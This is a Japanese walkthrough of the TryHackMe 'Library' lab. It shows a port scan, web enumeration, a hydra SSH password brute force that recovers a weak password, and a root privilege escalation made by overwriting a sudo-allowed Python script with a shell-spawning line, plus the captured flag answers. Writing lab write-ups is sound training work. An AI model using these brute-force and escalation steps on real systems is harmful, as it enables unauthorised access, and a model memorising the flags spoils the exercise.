概要
TryHackMe「Library」のWalkthroughです。
Task1
Q1.user.txt
nmap
でポートスキャンを実行します。
$ nmap -Pn -sC -A -T4 -sV 10.10.182.106 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:2f:c3:47:67:06:32:04:ef:92:91:8e:05:87:d5:dc (RSA)
| 256 68:92:13:ec:94:79:dc:bb:77:02:da:99:bf:b6:9d:b0 (ECDSA)
|_ 256 43:e8:24:fc:d8:b8:d3:aa:c2:48:08:97:51:dc:5b:7d (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to Blog - Library Machine
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
オープンポートを列挙できました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
80 | http | Apache httpd 2.4.18 |
Webサイトにアクセスします。
ディレクトリを列挙します。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.182.106/FUZZ -recursion -recursion-depth 1 -ic -c
攻撃に使えそうなものは見つかりませんでした。
/ [Status: 200, Size: 5439, Words: 561, Lines: 93, Duration: 245ms]
images [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 244ms]
サイトにコメントを投稿できるフォームがありますが、送信してもレスポンスの変化は得られませんでした。
サイト内にroot
,www-data
,Anonymous
,meliodas
などのユーザー名が見られるのでSSHのパスワードを特定できないか調べたところ、meliodas
のパスワードを解析できました。
$ hydra -f -l meliodas -P /usr/share/wordlists/rockyou.txt 10.10.98.120 ssh -t 40
[22][ssh] host: 10.10.98.120 login: meliodas password: iloveyou1
SSH接続して/home/meliodas/user.txt
からフラグを入手できます。
$ cat user.txt
6d488cbb3f111d135722c33cb635f4ec
A.6d488cbb3f111d135722c33cb635f4ec
Q2.root.txt
sudo -l
で確認すると、/home/meliodas/bak.py
がパスワードなしの特権ユーザーで実行できると分かりました。
$ sudo -l
Matching Defaults entries for meliodas on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User meliodas may run the following commands on ubuntu:
(ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py
/home/meliodas/bak.py
の処理を確認します。
#!/usr/bin/env python
import os
import zipfile
def zipdir(path, ziph):
for root, dirs, files in os.walk(path):
for file in files:
ziph.write(os.path.join(root, file))
if __name__ == '__main__':
zipf = zipfile.ZipFile('/var/backups/website.zip', 'w', zipfile.ZIP_DEFLATED)
zipdir('/var/www/html', zipf)
zipf.close()
/var/www/html
配下のファイルやディレクトリを/var/backups/website.zip
へ書き込んでいると分かりました。
os.path.join
はパストラバーサル出来る可能性がありますが、今回の環境では出来ませんでした。
/home/meliodas
配下は書き込み権限があります。
既存のbak.py
を削除し、シェルを起動するコードを書いたbak.py
を作成してrootのシェル獲得を試みます。
$ ls -l ../
total 4
drwxr-xr-x 5 meliodas meliodas 4096 Jun 21 03:59 meliodas
$ rm -f bak.py
$ echo "import pty; pty.spawn(\"/bin/sh\")" > bak.py
/home/meliodas/bak.py
を実行するとroot権限を取得出来ました。
$ sudo python /home/meliodas/bak.py
# whoami
root
/root/root.txt
からフラグを入手できます。
# cat /root/root.txt
e8c8c6c256c35515d1d344ee0488c617
A.e8c8c6c256c35515d1d344ee0488c617